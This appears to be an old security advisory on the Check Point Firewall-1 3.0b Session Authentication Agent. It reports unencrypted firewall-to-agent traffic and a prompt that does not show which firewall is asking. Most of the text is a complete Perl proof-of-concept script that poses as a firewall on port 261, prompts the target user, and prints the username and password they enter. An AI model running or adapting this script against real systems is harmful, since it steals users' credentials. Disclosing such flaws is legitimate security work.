COMMAND
Firewall-1 3.0b Session Agent
SYSTEMS AFFECTED
Firewall-1 3.0b Session Agent
PROBLEM
Larry Pingree found following. All communications from the
Firewall-1 Module to the session agent are non-encrypted. Thus
also allowing these communication to be snooped for usernames and
passwords. Along the same line, this allows any user to sniff
the Firewall Module to Session Agent communications and replicate
the data that is sent to the Session Agents listening port, thus
prompting the user for usernames and passwords. Also, these
communications can be easily replicated in a perl5 script that
actually connects to the Session agent and prompts the user to add
the firewall and then will ask the user for a username and
password. Here's the script:
#!/usr/bin/perl -w
#
# This script connects to a FireWall-1 Session Authentication Agent
# running on Windows 95/NT. It attempts to "authenticate" the remote
# user and returns the resulting username/password.
#
# The agent supports configuration of up to three IP addresses which
# are allowed to submit authentication requests. If there are three
# addresses configured, the user is presented with the following when
# an unknown host connects:
#
# "Authentication request from this IP Address is not allowed."
# [ OK ]
#
# If there are only one or two addresses allowed, the user gets this
# nice little dialog box:
#
# "Do you want to enter this IP to the Firewall-1 list"
# [ YES ] (default) [ NO ]
#
# Guess which button your typical user will click on?
#
# If the agent closes the connection prematurely, you will get strange
# results.
#
# tested vs. FW-1 Authentication Agent 1.1
#
# Andrew Danforth <acd@weirdness.net>
require 5.000;
use Socket;
use Getopt::Std;
$| = 1;
$FIREWALL_NAME = "Corporate Firewall";
$PASSWORD_PROMPT = "FireWall-1 password";
$PORT = 261;
die unless getopts('n:p:');
unless ($TARGET_IP = shift) {
print "usage: $0 [-n firewall_name] [-p password_prompt] target_ip\n";
exit(1);
}
$FIREWALL_NAME = $opt_n if (defined $opt_n);
$PASSWORD_PROMPT = $opt_p if (defined $opt_p);
socket(SOCK, AF_INET, SOCK_STREAM, getprotobyname('tcp')) || die "socket: $!";
connect(SOCK, sockaddr_in($PORT, inet_aton($TARGET_IP))) || die "connect: $!";
select(SOCK); $| = 1; select(STDOUT);
print SOCK "220 FW-1 Session Authentication Request from $FIREWALL_NAME\n\r";
print "sent greeting\n";
print SOCK "331 User:\n\r";
print "sent user request\n";
$username = &get_response;
print "username entered: $username\n";
print SOCK "331 *$PASSWORD_PROMPT:\n\r";
$password = &get_response;
print "password entered: $password\n";
print SOCK "200 User $username authenticated by FireWall-1 authentication.\n\r";
print SOCK "230 OK\n\r";
sub get_response {
# this is ugly but it works. the session agent doesn't seem to send proper newlines.
my $input;
$input .= $key while($key = getc SOCK and ord($key));
return $input;
}
Another "Security Risk" with the Session agent is that when a
connection is made to the Session agent, the Session agent prompts
the user to add the new Firewall Module to the Allowed list. The
prompt does not display the requesting Firewall's location or IP
address and does not issue any warnings to the client to verify
the requesting Firewall's identity.
SOLUTION
Checkpoint will need to issue a patch.